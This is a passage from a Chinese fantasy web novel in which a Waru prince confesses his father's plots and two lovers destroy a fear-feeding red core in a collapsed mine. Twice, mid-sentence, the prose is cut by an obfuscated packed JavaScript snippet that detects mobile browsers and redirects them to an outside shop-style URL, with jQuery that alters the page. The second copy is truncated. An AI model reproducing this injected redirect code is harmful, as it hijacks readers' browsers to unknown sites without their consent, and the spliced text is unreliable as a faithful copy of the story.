“我不知。”他说,声音很慢,像是在边走夜路边摸索,“我从前以为,救瓦鲁便是强兵。让瓦鲁的铁骑踏平一切,让所有人畏惧瓦鲁,便无人敢欺瓦鲁。可我一路走来,看见的却是——瓦鲁的铁骑踏平的,全是瓦鲁自己的土地。瓦鲁杀的人,全是瓦鲁自己的百姓。涸城那六百余口是瓦鲁人。赤沙镇那被屠的满门是瓦鲁人。集市上被打死的妇人,也是瓦鲁人。我父强了一辈子,瓦鲁强了一辈子。强到如今,瓦鲁人自己杀自己,杀得比外敌还狠。” 他停了很久。 “我想过很多。想过换一套法令,想过换一批官吏,想过换一个王。可法令是人定的,官吏是人选的,王是人做的。人不变,换什么都一样。” 他忽然皱起眉,像是在脑海中抓住了什么碎片。 “我逃难时,曾躲在一座破庙里。庙很小,香火断了不知多少年,菩萨的金身早已剥落,只剩泥胎。那日半夜冷得睡不着,我蜷在菩萨脚下,抬头看了一眼——那泥胎的面容早已模糊,只有嘴角的轮廓还残存着,看不出是泥还是金。那神情,我从未在任何瓦鲁人脸上见过。不是愤怒,不是轻蔑,也不是怜悯。是另一种东西。” 他顿了一下,声音里带着一种罕见的迟疑,像是从记忆深处小心翼翼地捡起一个破碎的词。 “……是慈悲。” 他说出这个词的时候,自己都愣了一下。然后他重复了一遍,这一次更慢,更重,像是在确认一件他从未拥有过、此刻却忽然想要抓住的东西。 “是慈悲。”他的声音稳了下来,“我这十余年,只知强者为尊。今日才发觉,退一步比进一步更难——也更对。我父杀了那么多人,若我也杀回去,我的弟弟再杀回来,此环永不断绝。总要有人先停手。能救瓦鲁的,不是更强的兵器,不是更狠的法令,是让人心里生出慈悲。唯有慈悲能断此环。非是宽恕作恶之人,而是不再使恶再生。” “慈悲”二字从一个瓦鲁王子的嘴里说出来,带着一种近乎笨拙的郑重,像他刚学会这个词,还不习惯它的分量,但他知道这是对的。 宇文轩沉默了很久。他看着跪在地上的少年,看着那身破布下露出的鞭痕与刀伤。然后他开口了,声音很缓,不像帝王对臣子说话,更像一个过来人对一个后辈说话。 “许多人活了一世,也不曾回头看一眼自己走过的路。你在十余岁的年纪,被人从那条路上打落下来,摔得头破血流——你本可以爬起来,沿着原路走回去。以你的性子,以你的身手,杀回瓦鲁,夺回王位,没有人会觉得奇怪。那是你父教你的路,你大可以走到底。” 元炀崎的喉结动了动,没有说话。 “但你没有。你在破庙里躺着养伤的时候,想了什么?” 元炀崎张了张嘴,没有出声。 “你在想——这条路是不是从一开始就是错的。你父亲走了一辈子,你祖父走了一辈子,瓦鲁的那些百姓走了一辈子。没有人问过这个问题。你问了。你可知道,这世间有多少人,终其一生,也不曾问过自己这句话?” 元炀崎低下头。他的肩膀在微微发颤。 “旁人以嘴告诉你,你或许不会信。但你以皮肉骨血撞穿了这堵墙,便没有人能替你定夺——不是你的父亲,不是你的母亲,不是瓦鲁的王位。是你自己。你今日跪在这里,说‘慈悲’二字。这两个字不是谁教你的——是你自己一路走、一路看、一路想,从你亲眼所见的白骨和鲜血里,从你栖身的破庙里那尊泥菩萨模糊的面容上,一点一点捡起来的。一个人能在废墟里捡起新的东西,便不算白摔那一跤。” 元炀崎伏在地上,额头抵着冰凉的地砖。他的肩膀在颤抖——不是哭,是压了许久的东西终于被另一个人接住了。 “至于未来你要走什么样的路,做什么样的人——那是你自己的事。但你今日能跪在这里,说出这番话,朕以为,你心中已有答案。” 元炀崎抬起头。他看着宇文轩,看了很久。 “大伯,我有一事,须禀明于您。”他的声音稳了下来,像是终于下了某个决心,“您方才说,您疑错了人。您可知——您疑错的不止拓宏一人。” 宇文轩的目光微微一凝。 “您可还记得,当年拓石哥哥中毒,那桩案子是如何定的?”元炀崎说,“那宫女是莲京人,在宫中当差六年,从未与青岚旧部有过往来。她招认时,说的主使之人——是瓦鲁。您当时定是查到了此处,查不下去了,对不对?” 宇文轩的手搁在案上,指节微微收紧。 “那宫女招供后便咬舌自尽。线索至此而断。”他的声音沉了下去,“朕疑过你父,却无凭据。” “有凭据。”元炀崎说,“我父书房中,有一暗格。格中藏有此局全部书信——买通宫女之银两数目、伪造证据之手法、接头人之姓名。我幼时无意撞见。”他从怀中摸出一封皱巴巴的信,双手呈上,“这是我逃走前从他书房中取出的。上面是他亲笔,印了他私章。” 宇文轩接过信,展开。信纸被汗浸过,边角磨损,墨迹洇开,但字字清晰。他一字一字看完,把信折好,放在案上。那动作极轻,像怕惊动什么。 他转过头,看着窗外那棵枯樱。 拓石中毒那夜,他在榻前守了三天三夜。拓石烧得说胡话,喊的不是父王,是二弟——“拓宏,别走。”他听着自己的大儿子喊另一个儿子的名字,心里想的是:拓宏下的毒。 他信了。证据指向拓宏。因为那证据指向瓦鲁。他把对宇文阚的恨——对那个夺位出逃的亲弟弟的恨——转到了拓宏身上。可那证据是宇文阚做的。他的亲弟弟,亲手布的局。宇文阚觊觎若篱时,他便该看清此人的心性。可那是他的弟弟,他一退再退,退到宇文阚夺位出逃,退到宇文阚改名元乾自立为王,退到他的弟弟把毒手伸进了他的皇宫、伸向了他的儿子——他还在退。 而拓宏呢?梧苒是青岚的末代国君,宇文阚是曦宇的叛逃王子。他把宇文阚的罪算在了拓宏头上。他连查都没有查过——拓石中毒那碗药,是在他眼皮底下灌下去的。他连查都不查,就在心里定了拓宏的罪。证据确凿?是他心里早就有了一杆偏的秤。 他转过身,看着跪在地上的少年。 “还有一事。”元炀崎继续说,“拓夏妹妹和亲,死于关外大漠——亦非意外。是我父的手笔。和亲路线是他泄露给马匪的,护卫是他买通的。这两件事,皆非我之意。但我乃瓦鲁储君,瓦鲁造的孽,有我一份。” 角落里,倩婷的手在袖中微微攥紧了。她穿着拓夏的衣裳,坐在拓夏常坐的椅子上,用着拓夏的茶杯。此刻,真正的拓夏的死因被一个跪在地上的少年亲口说了出来。她没有抬头,只是看着自己手中的茶盏——茶已经凉了,盏口那一道极细的裂纹,像这间屋子里一道永远合不拢的缝。 宇文轩没有回头看她。他只是闭了一下眼,又睁开。看着窗外那棵枯樱,是他自己亲手折断了梧苒的羽翼,亲眼看着青岚灭国,也亲手逼走了拓宏——他的亲儿子。他是多糊涂,多失败! “你不必求朕收留你。”他转过身,看着元炀崎,“上一辈人的错,不该由你来担。你便在宫中养伤,伤愈之后,自行决定去留。” 元炀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632098|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崎伏在地上,额头抵着冰凉的地砖,良久没有起身。他的肩膀微微发颤——不是哭,是压了许久的东西终于卸下来之后,整个人空了。 片刻之后,他抬起头,看着宇文轩。那双眼睛里的茫然已经褪尽,只剩一种破茧之后清亮的沉定。 “伯父,今日之后,再无元炀崎。我乃宇文炀崎。” 同一时刻,凛锋,赤渊矿脉外围。 清晨,雾还没散,矿洞口的铁钟便敲了三下。 拓宏和悦然站在一群壮丁中间。两人换了粗布短褐,脸上抹了灰。悦然束紧了胸,头发用破布条高高扎起,露出额头和眉骨,她运功压制了紫眸,灰抹得比拓宏还厚一层,远看像个十二三岁的少年郎。她比拓宏矮大半个头,缩在他身侧,低着眉,不说话。 矿洞口搭着一个简陋的木棚,棚下坐着两个凛锋监工,面前摆着一张缺了角的木桌。壮丁们排着队从桌前走过,每人领一块木牌——那是下井的凭证。 轮到拓宏和悦然时,监工抬了抬眼皮,扫了他们一下。 “两个铜板。” 拓宏眉头微拧。“工钱非是每人五个?” 监工嗤了一声。“矿道养护费,扣两个。器具耗损费,扣一个。还有——”他打量了悦然一眼,“这小崽子身量未足,下井也是白费粮。再扣一个。” 拓宏的手在身侧攥了一下。悦然伸手按住他的手腕,朝他微微摇了摇头。 拓宏松开手,接过两块木牌。木牌上刻着编号,边角毛刺扎手。 两人被编入最新一批下井的壮丁,共三十七人。监工拿麻绳将他们双手一一拴住,绳头攥在自己手里。壮丁们排成一列,像牲口一般被牵着往矿洞里走。 悦然走在拓宏身后,麻绳磨着手腕,磨得发红。拓宏走在她前面,偶尔偏过头看她一眼,不说话——只是看一眼,确认她还在。 矿洞口很阔,能并行四人,往里走便越收越窄。日光很快被甩在身后,取而代之的是每隔十步悬一盏的油灯,光焰昏黄,照出的岩壁皆是暗红色——整座矿脉的岩壁都泛着这种颜色,像凝固的血。 越往深处走,空气越闷。铁锈味愈浓,混着汗臭与腐肉的气息,闷到人胸口发紧。 矿洞两侧开始出现岔道。岔道里有人在挖——瘦骨嶙峋的矿工,赤着上身,汗水与锈水混在一处,顺着脊背往下淌。他们手里的镐头比人还高,每一下砸下去都带起一片暗红色粉末,粉末落在皮肤上,落在头发上,落在脚下混成泥浆的碎石里。 一个矿工的手掌已覆满锈斑,指缝里渗着锈水,仍在挥镐。每挥一下,身子便抖一下,像在忍着极大的苦痛。 监工从他身侧走过,鞭子啪地抽在他背上,留下一道血痕。 “快些。” 矿工没有吭声,只是加快了挥镐的速度。他的眼睛浑浊——与战场上那些铁锈尸一般无二,但尚存一丝极微弱的清明,像一盏将要熄灭的灯。 拓宏握着麻绳的手指微微收紧。悦然碰了碰他的手背,他便松开了。 再往深处走,岔道两侧开始出现一些被铁栅栏封住的侧洞。洞里挤满了人——不,已不能算是人了。他们蜷缩在侧洞中,身子蜷曲,皮肤上的锈斑连成了片,像披了一层铁甲。有的已站不起来了,只是趴在地上,喉中发出低低的、无意识的呻吟。有的还在动,手指在泥土中抓着什么,像在挖一个永远挖不穿的洞。 一个侧洞的铁栅栏外,监工正在点名。他启开栅栏门,将里面那些已彻底变了形的铁锈尸一具一具拖出来,拖到矿洞另一侧的深沟旁。那条深沟又宽又长,沟底黑压压的,全是被抛下去的铁锈尸,像一条死人河。 “此批明日驱往边境。”监工对身侧同伴道,语气与说“此批矿石明日运出”别无二致。 悦然移开目光。 她伸手拉了拉拓宏的袖子。拓宏低头,她凑近他耳边,声音压得极低。 “从进来至此,十七条岔道,每条皆有人。最少者二十余,那条大岔道——至少上百。” 拓宏点了点头,亦压低了声音。“主矿道尚在往下走。那些矿工所言暗红之光,应在最深处。” “嗯。”悦然的手碰了碰他的手指,“你听——” 拓宏侧耳。矿洞深处传来一种极低沉的嗡鸣,非风声,非人声,像是什么巨大的东西在地底极深处缓慢地呼吸。每呼吸一次,脚下的岩壁便微微震动一息。 就在此时,监工忽然停住了脚步。 他的目光落在悦然的手腕上——方才她伸手去碰拓宏时,袖口滑下去一截,露出手腕上系着的一条红绳。那红绳编得粗糙,绳结歪歪扭扭,褪了色,却依旧鲜亮,绝不是一个矿工该有的东西。 “这是什么?” 悦然心跳漏了一拍,但她面上不动声色,只是缩回手,低下头,压着嗓子道:“我……我妹妹编的。辟邪的。” 监工盯着她看了几息,伸出手。“取下来。” 悦然没有动。麻绳还拴着她的双手,她攥着那截红绳,指节发白。 拓宏侧身挡在她面前。“不过一条绳,不值几个铜板。” 监工抬眼看了看拓宏——这人比寻常矿工高出半头,眉目间有种不属于苦力的沉定,虽然穿着粗布短褐,站在矿道里却不太像矿工。监工皱了皱眉,正要开口,前方矿道忽然传来一声巨响。 脚下的岩壁剧烈晃动了一下,头顶碎石簌簌落下。油灯晃了几晃,灭了几盏。 “塌方了!”前面有人喊。 紧接着第二声巨响,比第一声更近。脚下的地面裂开一道缝,碎石与锈水从裂缝中涌上来。拓宏一把拽住悦然,将她拉到矿道壁侧,用自己的身子挡在她上方。头顶的岩壁在龟裂,碎石一块接一块砸下来。前方主矿道已塌了——巨大岩块堵死了去路,尘土混着锈气,呛得人睁不开眼。 身后传来惊叫与哭喊,壮丁们挤成一团,有人被落石砸中了腿。监工的鞭子已不管用了,连他们自己也在后退。 拓宏护着悦然,退到一条尚未塌方的小岔道里。他把她按在矿壁上,双臂撑在她两侧,将她整个人罩住。碎石砸在他后背上,他闷哼了一声,没有动。 晃动持续了很长时间。等到终于停下来时,主矿道已被彻底堵死。来时的路也被落石堵了大半,只留一个勉强能侧身通过的缝隙。监工和壮丁们不知被冲散到了何处,周围只剩矿道深处传来的、低沉的嗡鸣。 拓宏慢慢直起身,回头看了看那条缝隙,又看了看身后的岔道——深不见底,黑得像一只张开的嘴。他转过身,看着悦然。尘土覆了两人一头一脸,她的束发布条散了,碎发贴在额上,灰抹花了脸,倒更像个脏兮兮的小子了。她的眼睛在黑暗中亮得惊人——怕完了,还在。 “你背上。”她伸手,拂去他肩上的碎石,指尖碰到了一片温热——是血。 拓宏偏了偏肩,避开她的手。“无碍。” 他抬头望向那条深不见底的岔道。从那个方向,传来极低极低的嗡鸣声——与方才一般,只是更近了,近得像贴着耳朵在呼吸。 暗红色的光,从岔道深处隐隐透出来。 35. 赤渊迫近 "心不可乱,乱则神摇;神摇则气散,气散则身亡。" ——《黄帝内经·素问》 塌方过后,安静了片刻。 碎石从岩壁缝隙间簌簌滑落,远处某处矿井传来低沉的嗡鸣。 然后那安静碎了。 不知是谁先哭出了声,紧接着哭嚎像疫病一般传开——有人在黑暗中咒骂,有人喊同伴的名字,有人蜷缩在墙角用额头一下一下撞着岩壁。一个十五六岁的少年蹲在碎石堆旁抱着头,嘴里反复喊着娘,声音从嘶哑到低弱,最后只剩嘴唇在动。 矿道深处,那暗红色的光忽然亮了。 不是灯,不是火,是从最深处涌出来的一种光。那光像心跳般一明一灭,每亮一次便膨胀一分,每暗一次便殷红一分,红到发黑,像凝固的血被重新烧沸。 空气越来越烫,每一次呼吸都像把一团火吸进肺里。矿工们越恐慌,那红光便越盛——它在吮吸。 "它在吃你们的怕。"拓宏忽然开口,声音不高,却压过了矿道里的哭嚎,"越怕,它越强。不想死的,闭嘴!" 近处几个矿工愣愣地看着他,哭声戛然而止。但更多的人已经听不见了—— 暗红色的雾气从矿道深处蒸腾而出,无声弥漫。雾气所过之处,矿工们的眼神开始涣散,哭声变成无意义的低喃,身体像被同一条看不见的线拴住了四肢,一个一个转过身,朝着悦然的方向迈出步子。步伐僵硬,目光空洞。 与此同时,被塌方堵在矿道另一端的铁锈尸也动了。不是嘶吼,是挖掘—— 无数双覆满锈斑的手掌扒开碎石,指甲脱落,指节碎裂,毫不在意,只是挖。浑浊的眼球全朝着悦然的方向,映着那暗红色的光。 红光找到了更好的猎物。它放弃了那些矿工,将全部神识集中到了悦然身上。 悦然的身体猛地一颤。 紫蓝二力在体内同时炸开,不再受控。她的眼睛骤然睁大,紫光大盛——不再是清澈如水的紫,而是被红雾侵蚀后变得混沌的紫,像暴风雨前被闪电撕裂的夜空。 她看见了,那些刻在灵魂和身体里的碎片: 是三岁时邻居家的孩子在吃香蕉,她站在旁边盯着香蕉皮咽口水,妈妈抱走她说,然然咱不看,而邻居小孩儿却在背后做着鬼脸,叫她穷光蛋。 是校门口有人指着她的后背笑,那衣服她捡亲戚家表姐的,已经破了她没发现。 是妈妈站在阳台上回过头看她一眼,然后身体像断了线的风筝般落下去。 是推开那扇门时看见的余倩和沈煦刺眼的画面。 是签好字的离婚协议,茶几上燃尽的薰衣草蜡烛,和眼角却挂着一滴将落未落的泪。 是从浊泉里被捞出来时浑身是泥的狼狈。 是惜儿在这具身体最后那无助痛苦的深夜—— 所有碎片同时涌来,层层叠叠,像无数把刀同时刺入她的意识。她想叫,喉咙里发不出声音。 拓宏也在挣扎。 他脑海中,青岚灭国那夜的火光在燃烧。母亲梧苒独自拼杀的背影——她回头看了他一眼,嘴唇翕动,说的是走。 他没走,他冲到母亲的怀里,母亲回转不及,敌人的长刃劈上他的肩背。母亲把他推到梧冲庭怀里,他看到母亲被一刀刀砍到,自己视线一点点模糊…… 那一幕在他此后十五年的每个夜晚反复上演,每一次他想哭喊,每一次都发不出声音。 然后是莲京的宫人对他指指点点,宇文轩看他的眼神从期待变成失望变成厌恶,拓石猜忌的眼神。 是偏殿里跪了三天三夜没有一个人来。 是无论他多优秀都等不到的宇文轩的忏悔。 红雾在他和她的痛苦之间穿梭,像一根针,把他们各自最深的伤口缝在一起。她越痛,他越痛;他越痛,她越痛——那道红光在吸食痛苦,而他们的痛苦正在互相喂养。 他想跪下去,想闭上眼,想让自己沉进那片黑暗中—— 他反手一刀划在自己小臂上。 疼。清冽的、干净的疼,像一盆冰水浇下来,将火海灭了一瞬。 血从刀口中渗出,顺着手指滴在地上。然后是第二刀。第三刀。每次红雾试图吞噬他的意识,他便用新的疼痛逼退它。左臂上横七竖八的刀口渗着血,滴在悦然身前的泥土里。 那些迷失神志的矿工已涌到了近前。拓宏横刀挡在悦然身前,用刀背击退最前面几个——不能杀人,他们是无辜的。 但矿工们没有痛觉,击退了又扑上来,一波接一波。他一个人,一柄短刀,挡在她身前,将那些伸向她的手一双一双推开。 身后传来一声极低的、压抑的呜咽。 悦然的呼吸越来越急促,紫蓝二力在她周身乱窜,忽明忽暗,像两股力量在体内互相撕扯。她的眼睛已完全变成混沌的紫色,瞳孔涣散,泪水无声滑落——她自己都不知道自己在哭。 她快撑不住了。 拓宏一把捞起她。她浑身滚烫,像一块被烧透的铁,身体在他怀里发抖,抖得像当年刚从雨虹山上下来的小女孩。 他一只手扣住她的后脑,迫使她抬起头,然后低头吻住了她。 不是温柔的吻。是带着血腥味和决绝的吻,是用尽所有力气把她从深渊里拽出来的吻。 她的嘴唇冰凉,他的嘴唇滚烫。 她在他怀里挣扎了一下,他扣得更紧。 那红雾似乎对这个吻感到厌恶——它退了。不是溃退,是松开。在她意识的最深处,那片混沌的紫光中忽然有了一丝裂隙。 裂隙里透进来另一种温度——是坚定包裹的嘴唇的温度。还有他扣在她后脑的手指—— 黏腻的,凉的,是他的血。 从他左臂刀口渗出来的血顺着她的发丝滑落,滴在她后颈上。 血是凉的,嘴唇是烫的。她在这极冷与极热的夹缝中猛地抽了一口气。 然后是更深的记忆涌上来——是杏花村的灶火,是他在月光下站在满院子花丛中说"是它们自己想开给你看",是他蹲在灶台前拨弄炭灰的背影,是他端起那碗糊了的清汤面说"能吃"。 她的睫毛颤了颤。 拓宏感觉到她的身体不再抖得那么厉害了。但他没有松开——反手一刀逼退身后扑上来的矿工,刀锋划破那人肩头的衣裳,力道控制得分毫不差。 他抱着悦然转过身,将她护在矿壁与自己之间。她的呼吸还是急促,但眼神开始有了焦点——虚弱,但不再混沌。 "然然,静心。"他的声音压得很低,就在她耳边,嘴唇上还沾着她的泪,咸的,"想功法口诀,运转二力,静下来。我给你护——" 一柄凿子刺穿了他的后肩。 凿尖从肩胛骨下方穿出,带出一蓬血雾。凿柄上握着一只覆满锈斑的手——一具完全丧失意识的铁锈尸不知何时从侧翼摸了过来,无声无息。 拓宏的声音顿了一瞬。没有闷哼,没有喘息,没有惨叫——只是呼吸滞了一下。 然后他转过身,一脚将那铁锈尸踹飞出去,凿子从后肩脱出,带出一道长长的血弧。他背对着悦然,想把受伤的位置藏在她看不见的角度。 "——护法。" 他把那句话补完了。声音很稳,像在说一件再寻常不过的事。 悦然看见了。他转身时,她看见那道伤——不是致命伤,但很深,深到能看见翻卷的血肉里嵌着凿尖残留的碎石。她想叫他,嗓子却像被什么东西堵住了。 三年了。杏花村的三年,他替她把整个乱世挡在院墙外面。她只看见院中的花开了又落,灶上的饭热了又凉,他蹲在菜地边拈起小青虫放在草丛里的手。她从未看见他挡在墙外时受过什么伤。他把所有的苦都咽了回去,只递给她一碗热粥、一院春光、一句云淡风轻的闲话。那些日子轻得像不曾有过风雨——因为风雨全被他一个人扛了。 如今也一样。他声色不动,像扛的不过是院墙外落下来的一片枯叶。她若分神,他那一凿就白挨了。 她没有伸手。她闭上眼。 泪水从紧闭的眼睑下无声滑落。 但这一次不是恐惧,不是绝望。是接纳,是释然,是用温柔的力量包裹住所有创痕,是比恐惧更深、比绝望更烈、比愤怒更净的东西。她不再抗拒那些涌上来的记忆了。她不再挣扎,不再害怕。她看见妈妈站在阳台上,终于回头看她,她在心里说:妈妈,你走吧。我可以自己走了。 她开始运转功法。 紫蓝二力不再互相对抗,而是交融流转,像两条河终于找到了同一个入海口。她的身体忽然迸发出一道光——不是紫色的,不是蓝色的,是温润的、柔和的、介于月光与晨光之间的那种颜色。那光从她心口涌出,像水波一般一圈一圈荡漾开去。 矿道里所有的声音忽然消失了。 不是被镇压,不是被压制——是像哭闹的孩子忽然听见母亲的心跳,一瞬间忘了自己在哭。 光波触到第一个矿工,那人脚步一顿,空洞的眼眶里忽然蓄满了泪。第二个,第三个,第十个——矿工们一个接一个停下了脚步,脸上的狰狞褪去,只剩茫然与疲惫。 铁锈尸的挖掘声也停了,那些覆满锈斑的手掌停在碎石上,浑浊的眼球里映着那道温润的光,身体不再挣扎。 矿道里安静了下来。静得只剩呼吸声、啜泣声,和那红光深处低沉的嗡鸣。 然而只安静了片刻。 那红光骤然炸开,发出低沉的怒吼。那怒吼不是一个声音——是万千个声音混在一处: "冤枉啊——" "不公啊——" "凭什么——" "手下留情啊——" "求求你了——" "放了我吧——" 悲伤的、绝望的、愤怒的、恐惧的声音汇成一股洪流,裹挟着无尽的怨念,想要吞噬一切。 红光化作沸腾的铁水。赤红的岩浆翻涌着涌过来,岩壁被烧得通红,碎石在高温中爆裂,暗红色的雾气变成了刺鼻的浓烟。 拓宏转过头,和悦然对视了一眼。就一眼。不需要说话。 悦然双手结印,拓宏左手按在她后心—— 紫宸归元最后一式,阴阳合体时方能使的运功心法——曦宇归元。 他从前不懂这心法如何用,此刻掌心贴在她掌心,忽然明白了——不是他替她运功,是她替他。 她的紫蓝二力通过他的掌心灌入他的经脉,而他的身体像干涸了万年的大地,将她的力量吸进去,转化为另一种能量。 骤然间,拓宏周身迸发出一道醇厚的土黄色光芒。 那光不刺眼,是大地深处最温厚的那种颜色——像春雨后翻出来的新泥,像杏花村院子里那片四季常绿的菜地,像他蹲在菜地边拈起小青虫轻轻放在草丛里的手。 土黄与紫蓝交相辉映,两道光交融在一起。 就在两道光交汇的那一刹那—— 悦然看见了。 是天界的瑶池,水光潋滟。一个穿着青衫的背影从她面前走过,她低下头,看见自己的手——一只很小的、孩子的手,正攥着那人青衫的下摆。那只手拉了一下,没有拉住。然后是大殿上,满堂宾客,她指着那个穿青衫的人,脆生生地说:悦儿不要别的仙家娶,悦儿要嫁他——他的衫子好看。 再然后是大婚喜堂,红烛高烧,她被一股力量从喜堂里掀飞出去,脊背撞在殿外的石阶上,青衫的衣角从她指尖滑走,她抓不住。 最后是诛仙台,她往下坠,风灌满了她的耳朵,她看见天上有一颗星灭了。 拓宏也看见了。 是大殿上,那个满脸泥色的小丫头指着一个青衫背影,说他的衫子好看。他端着酒杯,指节捏出了一道裂纹。 然后是云间,她蹲在他身边,指着下界那片心脏形状的土地,说,这里要有一座山,他便帮她捏出一座山,她回头对他笑——那笑是甜的,比杏花村的柿子还甜。 最后是诛仙台,她跳下去的那一刻,他没有犹豫,跟着往下跳。神谕之光贯穿胸口,他看见她的背影越来越远,他被弹回来,重重摔在石阶上。他够不到她。 这些碎片同时涌进来——瑶池的初见和诛仙台的诀别叠在一起,喜堂的红烛和云间的晚霞叠在一起,她拉不住的青衫和他够不到的背影叠在一起。不是记忆,是神魂深处被碾碎之后残留的伤口。此刻两道光交融,伤口也被同时撕开。 悦然的眼泪无声地滑落。拓宏的呼吸顿了一瞬。他们同时感觉到了——对方的神魂里也有碎片。那些碎片和自己的一样,旧的,深的,喷薄而出。 但他们没有时间细看。 赤红岩浆已经涌到了三丈之内。岩壁上的碎石被高温烧得噼啪炸裂,暗红色的浓烟呛得人睁不开眼,万千怨魂的嘶喊声震耳欲聋。 拓宏率先收回了意识。他压下脑海中那些纷乱的碎片,将全部力量灌入掌心。 悦然也在同一瞬压下泪意,重新捏稳了手印。没有时间哭。没有时间问那些碎片是什么意思。面前还有一场仗要打。 两道光交融在一起,没有惊天动地的轰鸣,只是静静地、稳稳地汇成一道光柱。 那光柱不是剑,不是刀,不是任何兵器——它像一只合拢的手掌,朝着赤红岩浆中隐隐跳动的那抹亮核笔直地按了下去。 那颗像心脏般搏动的暗红色光核,在手掌触及的瞬间剧烈颤动了一下。万千声音同时尖叫——然后断了。像一只攥紧了千年的手忽然松开,像一扇被撞了千年的门终于合上。 光核碎了。 一瞬间,天地静了下来。 所有的声音同时消失,所有的光同时熄灭,所有的力量同时消散。 那是一种极深的静——不是死寂,是安宁。暗红雾气消散如烟,赤红岩浆冷却如石,岩壁上的灼痕被一层细密的水珠覆盖,水珠滑落,带走了最后一丝锈迹。 矿工们一个个睁开了眼,茫然地从地上爬起来,没有受伤,只是昏过去了。“铁锈尸静静伏在地上,锈水从它们眼角淌下来,像泪。它们没有消失,只是躯壳里的那点执念被抽走了,剩下一具空壳,像终于耗尽了最后一丝力气。它们不再动,也不再呼吸,像一堆堆在矿道里的废铁。 拓宏和悦然的手同时松开了。 悦然的身子晃了一下,向后倒去——拓宏左手接住她,将她揽进怀里。他的右肩还淌着血,左臂刀口纵横,但手臂仍稳稳地环着她。两个人靠在矿壁上,呼吸交缠,又急又乱。 悦然的耳朵贴在他胸口。隔着那层浸透了血的粗布,她听见了他的心跳——如同擂鼓一般,但稳当得让人心安。此时,在这片废墟的最深处,这个声音比任何寂静都更让她安宁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632099|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她抬起头,看着他肩上的伤口。血把半边衣衫浸透了,暗红发黑。她伸手想碰,手在发抖——不是因为力竭,是因为方才那些碎片还在,凡世的和更早的,搅在一起,分不清了。 "别碰。"拓宏的声音很轻,额头抵着她的发顶,"先调息。二力刚合过,经脉未稳,不可分神。专心。" 悦然深吸一口气,闭上眼,将攥着他衣襟的手松开,双手覆回膝上。紫蓝二力在丹田中缓缓回旋,填补方才合刃留下的空缺,像潮水退去后沙滩上留下的水痕,一点一点往下渗。 拓宏没有闭眼。他的左手仍然横刀在身侧,目光扫过矿道深处——岩浆凝成的黑渣还冒着余烟,矿工们呼吸均匀,铁锈尸伏在地上不再动弹。安静了。但他不确定能安静多久。 悦然调息片刻,睁开眼。眼底紫蓝已复,清亮如初。 "好了。"她说。 然后她才又看向他肩上的伤。血已流得半身殷红,衣衫黏在伤口周围,分不清哪是布哪是肉。她这次没有伸手去碰,只是看着他,嘴唇抿成一条线。 "撑得住?" 拓宏的左手抬起来,轻轻覆在她的后脑上,拢了拢她散乱的发。掌心是血,便小心地只碰着发梢。 "撑得住。" 悦然仰头,深深吻上他的唇。 就在拓宏怔愣的一瞬间,悦然伸手覆上他后背的伤口,紫蓝二力重又运转。 拓宏能感觉到,自己周身伤口的血凝住了,伤口在缓慢愈合。 良久,他们睁开眼睛。 “以后,不要自己扛。”她说,声音很轻。 拓宏低头看着悦然澄澈的紫眸,那里面有他记忆碎片里的那个身影。他伸出手,指尖轻轻拂过她的眉骨,像在确认一个失而复得的梦。 “然然,”他终于叫出了那个名字,声音有些哑,“我终于,等到你了。” —— 同一时刻,莲京,曦宇王宫。 夜深了。宇文炀崎坐在寝殿窗前,换了一身干净的白袍,脸上的血污洗净了,露出底下苍白的皮肤和削瘦的轮廓。手臂上的伤口已经包扎好,窗外月光落在他的侧脸上。 他没有睡。 内侍轻叩殿门,低声道:"殿下,拓夏公主求见。" 宇文炀崎没有立刻回答。 拓夏,他查过这个人。 他花了两年,从瓦鲁旧臣口中、从边境驿站残存的信档里、从父亲书房暗格中那份用火漆封了三道的密函里,一点一点拼出了真相。拓夏不是病死的,不是遇袭而亡,是他的父亲元乾亲手布的局。 他甚至查到了她最后的样子——死在大漠里,身边没有一个人,手指死死抠进沙地里,指甲全翻了。她等到了最后,没有等到一个来接她的人。 所以当那个穿着淡紫色衣裳的身影从殿门外走进来时,他没有说话。只是看着那张和拓夏一模一样的脸,看着那温婉得体的微笑,看了很久。 然后他笑了。不是嘲讽,是一种很淡的、带着些疲惫的笑。 "拓夏死了六年了。"他的声音很轻,像在陈述一桩早已落定的旧事,"我查过她怎么死的。你披着她的皮,演了三年的戏,图什么?" 倩婷的微笑终于有了一丝变化。不是惊慌,不是心虚——是某种更深的东西。她沉默了一息。那一息很短,但足够让宇文炀崎看见——她不是在编造回答,是在决定要不要向他展示底下的水面。 "我知道她怎么死的。"她的声音还是拓夏的声音,语气却已经截然不同,"她死得很苦。但这苦,本不该由她来受。" 宇文炀崎眯起眼。 "你不是她。" "不是。"她没有否认,甚至没有试图辩解。她只是站在那里,月光落在她身上,把那身淡紫色的衣裳照得发白。她看着宇文炀崎,眼神太老了,老得像见过太多不该见的东西。 "你查她的死因,花了两年。不是为了仇恨。"倩婷开口了,声音很轻,像在说一件她观察了很久的事,"是因为你心里有一块地方,装着你不认识的人的苦。你以为那是你的软弱,是你在这吃人的皇宫里活下来的代价。你自己可能都不知道那叫什么——" 她停了一下,目光直直地望进他的眼底。 "那不是软弱。那是你骨子里的火,还没找到该烧的地方。" 宇文炀崎没有说话。他的表情没有变,但垂在身侧的手指在膝上微微收拢了一下。 